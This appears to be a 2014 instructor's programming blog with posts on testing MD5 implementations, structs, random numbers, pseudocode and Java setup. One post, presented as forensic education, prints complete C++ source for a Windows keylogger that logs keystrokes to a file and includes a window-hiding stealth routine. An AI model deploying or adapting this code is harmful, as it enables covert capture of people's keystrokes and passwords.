Monday, December 22, 2014

Hash and test

One of the most basic concept we learn in digital forensics is to ensure our evidence is not changed after acquisition is hashing.  Hashing helps verify the integrity of the data and helps reduce the dataset by identifying known good files.  Hashes can also identify known "bad" data or partial hashes can identify data that are close enough to investigate further for relevance.  Of course, hashes are also used to store passwords for authentication.  There are many algorithms available, but each algorithm must work exactly the same in software implementations.

When using libraries and third party implementations, you still need to test and validate if the implementation works are designed and implemented properly.

The following is an implementation using third party library:

using System;
using XCrypt;
//http://www.codeproject.com/Articles/483490/XCrypt-Encryption-and-decryption-class-wrapper
//Click to download source "Download source code"
//Click on Project -> Add Reference -> navigate to where you have extracted XCrypt.dll

namespace hashMD5
{
    class Program
    {
        static void Main(string[] args)
        {
            XCryptEngine encrypt = new XCryptEngine();
            encrypt.InitializeEngine(XCryptEngine.AlgorithmType.MD5);
            Console.WriteLine("Enter string to hash:");
            string inText = Console.ReadLine();
            string hashText = encrypt.Encrypt(inText);
            Console.WriteLine("Input: {0}\r\nHash: {1}", inText, hashText);
            byte[] temp=GetBytes(hashText);  //for debugging to see each byte value
            Console.ReadLine();

        }
        static byte[] GetBytes(string str)
        {
            byte[] bytes = new byte[str.Length * sizeof(char)];
            System.Buffer.BlockCopy(str.ToCharArray(), 0, bytes, 0, bytes.Length);
            return bytes;
        }
    }
}

Running the code results in the following output.

Enter string to hash:
Richland College
Input: Richland College
Hash: zlC4yZP3XqYqqboh5Lv4IA== 

The output looks strange and more like Base64 than MD5.  We can place break points in the code and monitor for the actual byte values to see the results to see if it is even close to the actual solution.


We can see the hash values are 122, 0 , 108, 0 ...
Now, let see another program implementation of MD5:
using System;
using System.Collections.Generic;
using System.Text;
using System.Security.Cryptography;

namespace anotherHashMD5SHA1
{
    class Program
    {
        static void Main(string[] args)
        {
            Console.WriteLine("Enter an message: ");
            string message = Console.ReadLine();
            System.Text.ASCIIEncoding encoding = new System.Text.ASCIIEncoding();
            MD5 md5 = new MD5CryptoServiceProvider();
            SHA1 sha1 = new SHA1CryptoServiceProvider();
            byte[] messageBytes = encoding.GetBytes(message);
            byte[] hashmessage = md5.ComputeHash(messageBytes);
            string stringMD5 = ByteToString(hashmessage);
            hashmessage = sha1.ComputeHash(hashmessage);
            string stringSHA1 = ByteToString(hashmessage);
            Console.WriteLine("MD5: {0}\r\nSHA-1: {1}", stringMD5, stringSHA1);
//Console.WriteLine("MD5: {0}\r\nSHA-1: {1}",System.Text.Encoding.Default.GetString(hashmessage), stringSHA1);
            Console.ReadLine();

        }
        public static string ByteToString(byte[] buff)
        {
            string sbinary = "";
            for (int i=0; i < buff.Length; i++)
            {
                sbinary += buff[i].ToString("X2");
            }
            return (sbinary);
        }
    }
}
And the output of this code is as follows,
Enter an message:
Richland College
MD5: CE50B8C993F75EA62AA9BA21E4BBF820
SHA-1: B3A6FC316A94949871594C633C8977D28C70E8B7
So, we also need to see what the resulting byte values are for the hash value in order to see if we just have different encoding of the same byte values displayed and the results are really the same or not.
No, we do not have the same byte values, this one gives us 206, 80, 184, 201, ..., so witch one do we trust and use in our code?
You can use a few IT tools to see what the results of those tools will be.  I recommend HashOnClick.
http://www.2brightsparks.com/onclick/hoc.html
You can create a simple text file, in this case, I used the same text like I used with tool, "Richland College".  
CE50B8C993F75EA62AA9BA21E4BBF820 testfile.txt
The results show the same value as the second code sample, so the second code sample should be implemented.
So, as you can see, there are many implementations of the same algorithm and programmers should use libraries and code from others as much as possible to increase productivity and reduce development time, but only responsible code selection can lead to meaningful and more secure code.  Maybe secure coding should have a prerequisite of knowing IT tools and understanding what we expect tools to do before we try to implement code by compiling and "crossing fingers".

Signature of compiled code

Now, this example is for educational purposes only and you should not run this code on your own machine if you are not familiar with all of the lines in this code.

Keyloggers have been viewed as something only people with bad intention write, but it is nothing more than monitoring the keys that are pressed on the keyboard and saving them in a file for later review.

In investigation, you might have to look at code and identify basic pattern in order to "guess" what the code is designed to do.  In this example, you can see the basic feature of a keylogger and I hope it will teach you that simple code like this can be added to any code to accomplish the same.  Thus, downloading so called pirated and illegal or cracked version of applications can contain this type of added code.  For the user, the functionality of the application will not visibly change, but the application might have "added features" that users are not aware of.

In many cases, executable analysis is just a simple strings search that can reveal keywords compiled inside the executable that can be googled and lead to understand some of the features of the program.  We can see the message and a clear text of the file that is used to collect the captured keystrokes.  If the code would connect to a server on the Internet, we might even see the URL or the IP address of the server the data is exfiltrated to.

So, this case a simple keyword search on the executable reveals a portion of my code, thus the intended purpose.  So, code might be analyzed by non-programmers and still have a successful heuristic conclusion of what a code or a portion of the code is designed to do.




Warning: You will need to look at your taskmanager in order to stop this program from running.

#include<iostream>
#include<windows.h>
#include<winuser.h>
#include<fstream>
#include <string>

using namespace std;
int Save(int key_stroke, string file);
void Stealth();

int main(){
//Stealth();

char i;

        cout << "This is my example of a keylogger - Zoltan" << endl;

while (1){
for (i = 8; i <= 190; i++){
if (GetAsyncKeyState(i) == -32767)
Save(i, "collect.txt");
      }
      }
return 0;
}

int Save(int key_stroke, string file){
if ((key_stroke == 1) || (key_stroke == 2))
return 0;

ofstream outFile;
char pressed;
pressed = key_stroke;
outFile.open(file, std::fstream::app);
cout << VK_OEM_PERIOD << endl;
outFile << "\n";
switch (key_stroke){
case 8:
outFile << "[BACKSPACE]";
case 13:
outFile << " ";
case  VK_OEM_PERIOD:  //same as 190
outFile << ".";
case VK_TAB:
outFile << "[TAB]";
case VK_SHIFT:
outFile << "[SHIFT]";
case VK_CONTROL:
outFile << "[CONTROL]";
case VK_ESCAPE:
outFile << "[ESCAPE]";
case VK_END:
outFile << "[END]";
case VK_LEFT:
outFile << "[LEFT]";
case VK_UP:
outFile << "[UP]";
case VK_RIGHT:
outFile << "[RIGHT]";
case VK_DOWN:
outFile << "[DOWN]";
case VK_HOME:
outFile << "[HOME]";
case 110:
outFile << ".";
default:
outFile << pressed;
outFile.close();
}

return 0;
}

void Stealth(){
HWND stealth;
AllocConsole();
stealth = FindWindowA("ConsoleWindowClass", NULL);
ShowWindow(stealth, 0);
}


The value of pseudo code

Sometimes, you will need to understand the problem and write a pseudo code before you even start thinking about solving problems.

i.e To determine whether a year is a leap year, follow these steps:

       1. If the year is evenly divisible by 4, go to step 2. Otherwise, go to step 5.
       2. If the year is evenly divisible by 100, go to step 3. Otherwise, go to step 4.
       3. If the year is evenly divisible by 400, go to step 4. Otherwise, go to step 5.
       4. The year is a leap year (it has 366 days).
       5. The year is not a leap year (it has 365 days).


So, what is the pseudo code for this problem?

Thinking about objects

One of the most important concepts in computer science is to start thinking in objects where structures are the basic building blocks. Structures are the simplest objects that can be defined by users. In this example you can see that you can define a dataType called rooms and those rooms have a structure inside holding many different simple dataTypes like int, bool, and float. Each declared identifier of room type will have the same structure inside, but the values are assigned to reflect the specific room characteristics. The period character in this case is used as a member operator to have access to each identifier inside the structure. 

‪#‎include‬ <iostream>
#include<string>

using namespace std;

//Create a container that will hold individual room specific contents
struct room{
                   bool table;
                   int chairs;
                   float classAverage;
                   bool projector;
                   int windows;
                   int doors;
                   string keyNumber;
                   string roomName;
};

int main(){
         room D155;                    //Create a specific room and set its unique characteristics 
         D155.chairs = 25;
         D155.classAverage = 93.75;
         D155.keyNumber = "78M";
         D155.windows = 0;
         D155.projector = true;
         D155.table = true;
         D155.doors = 1;
         D155.roomName = "D155";

         cout << "The room number is:" <<D155.roomName<< endl;
         cout << "The room holds " << D155.chairs
                 <<" and the class average is: "<<D155.classAverage<<endl;
return 0;
}

Random numbers

Measure the randomness of random number generators. If you find out that random numbers are not really random, then it means you can predict the next value. That would be great in playing casino games or breaking encryption.

‪#‎include‬ <iostream>
#include<time.h>

using namespace std;

int main(){
              srand ( time(NULL) );
              int zero=0,one=0, two=0, three=0, four=0;
              int Richland = rand() % 3;

              for(int i=0;i<100;i++){
                       Richland = rand() % 3;
             
              switch(Richland){
                         case 0:
                                   zero++;
                                   break;
                         case 1:
                                   one++;
                                   break;
                         case 2:
                                   two++;
                                   break;
                         case 3:
                                   three++;
                                   break;
                        case 4:
                                   four++;
                                   break;
                        }
               }

            cout<<"The value of zeroes: "<<zero<<endl;
            cout<<"The value of ones: "<<one<<endl;
            cout<<"The value of twos: "<<two<<endl;
            cout<<"The value of threes: "<<three<<endl;
            cout<<"The value of fours: "<<four<<endl;

            return 0;
}

Raptor

You guys can practice your flow charting skills with this great tool that can actually create a working application from flowchart and even create a good enough code in C#, C++, and Java.

Great learning tool - http://raptor.martincarlisle.com/

Sunday, December 21, 2014

Java 01 - Getting Started

If any of you will be taking Java this semester, then you need to get ready by configuring your environment at home.

http://youtu.be/u4pYCtbsFO4

You can also download a live operating system that is pre-configured for C++, Java, and Python programming.

https://docs.google.com/file/d/0B7on8PrpfneCZ0Jxb0t6cE9wSmM/edit

You can view a video on how to setup and use the live environment: https://www.youtube.com/watch?v=joPZf8iVtAc 

Java 02 - Javadoc

In order to use Java and learn the Java documentation process, you might need to be able to know how to navigate in a command line environment in order to understand the easier method of using your IDE that will create the documentation for you. If you have taken C++ and you were annoyed by the header and comments that you had to write, now you will love the java documentation that will take all those comments and convert them into documentation automatically. 

See a video of this process.
http://youtu.be/xqSzQBrFT-M

Wednesday, December 17, 2014

Check the facts and think critically

Once I was at a conference and the speaker gave a strange analogy of how fast hard drives need to work. He said, "Reading of bits on the hard drive plate is like a fighter jet flying at MOCK-4 1 foot off the ground counting every grass blades on the ground.". Can this be true, can we calculate if he was correct or just exaggerating? How would you start designing this program?

By my calculations, for a 3.5inch hard drive, the outer edge is traveling at 78mph and the inner track at 33.45mph. MOCK-4 is a supersonic speed 3069mph. If I'm correct, he was WAAAAY off. Can you check my values?


Label, For, or While loop performance test

  • This conversation deserves a blog entry.  
  • A: If you find different ways to accomplish the same thing, make sure to test the performance of the code each way at least 3 times and average the results just like in other science classes like physics. I do not see any noticeable difference in any of these implementations. Do you?

  • A A loop is nothing else, but an if statement with a jump. What you do after the comparison and before the jump does not matter. It will not be a jump that slows your code down, but the block that does the work. If you find an example and you can test for performance issues, than we have a case, but until then this is just a rumor. You will also investigate if the code is using the stack or using dynamic heap memory, since that will affect the performance of a code running, but not he simple jump.

Test results do not show any difference.  Any suggestions, comments?  Please, include sample code and/or testing methodology to show any difference that you might believe exists.